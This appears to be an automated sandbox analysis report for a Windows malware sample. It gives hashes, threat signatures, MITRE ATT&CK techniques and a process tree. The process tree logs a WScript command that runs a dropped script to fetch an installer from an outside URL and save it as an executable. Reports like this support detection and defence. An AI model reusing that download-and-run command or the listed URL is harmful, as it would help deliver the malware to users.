af8546a27aad8db3733d9b19771b4b9d90dbe75f744a5bfee7b01c15ad1fb4e8

Analysis

max time kernel
142s
max time network
170s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
04/12/2022, 09:53

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General

Target

af8546a27aad8db3733d9b19771b4b9d90dbe75f744a5bfee7b01c15ad1fb4e8.exe
Size

184KB
MD5

01906b2123ecb1632115200318961064
SHA1

6486b286891422bae12d11ba5d266d3d9122d29d
SHA256

af8546a27aad8db3733d9b19771b4b9d90dbe75f744a5bfee7b01c15ad1fb4e8
SHA512

160bc8c24a2e92c808ca6225072cbf1cbee3ac4412e6278dfa545c47e6479369ad1a998712f4445c588478188a89dbfb3eef6d9bf0aab5f27d9d0fafb734c01b
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3Ts:/7BSH8zUB+nGESaaRvoB7FJNndnx

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
6	4964	WScript.exe
8	4964	WScript.exe
35	4964	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	af8546a27aad8db3733d9b19771b4b9d90dbe75f744a5bfee7b01c15ad1fb4e8.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4076	3184	WerFault.exe	79

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000_Classes\Local Settings	af8546a27aad8db3733d9b19771b4b9d90dbe75f744a5bfee7b01c15ad1fb4e8.exe

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	6	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 3184 wrote to memory of 4964	3184	af8546a27aad8db3733d9b19771b4b9d90dbe75f744a5bfee7b01c15ad1fb4e8.exe	80
PID 3184 wrote to memory of 4964	3184	af8546a27aad8db3733d9b19771b4b9d90dbe75f744a5bfee7b01c15ad1fb4e8.exe	80
PID 3184 wrote to memory of 4964	3184	af8546a27aad8db3733d9b19771b4b9d90dbe75f744a5bfee7b01c15ad1fb4e8.exe	80

C:\Users\Admin\AppData\Local\Temp\af8546a27aad8db3733d9b19771b4b9d90dbe75f744a5bfee7b01c15ad1fb4e8.exe
"C:\Users\Admin\AppData\Local\Temp\af8546a27aad8db3733d9b19771b4b9d90dbe75f744a5bfee7b01c15ad1fb4e8.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3184
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufB7FA.js" http://www.djapp.info/?domain=PNbToVevZH.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuVwucrPYE19JkwWjSZ2s2qvmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4eNq6LaFY79XZ6m0stLMqjuzx-uhliieAKdKyysjy6-7bTV8zh C:\Users\Admin\AppData\Local\Temp\fufB7FA.exe
  2⤵
  - Blocklisted process makes network request
  PID:4964
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 3184 -s 692
  2⤵
  - Program crash
  PID:4076

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3184 -ip 3184
1⤵
PID:1800

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fufB7FA.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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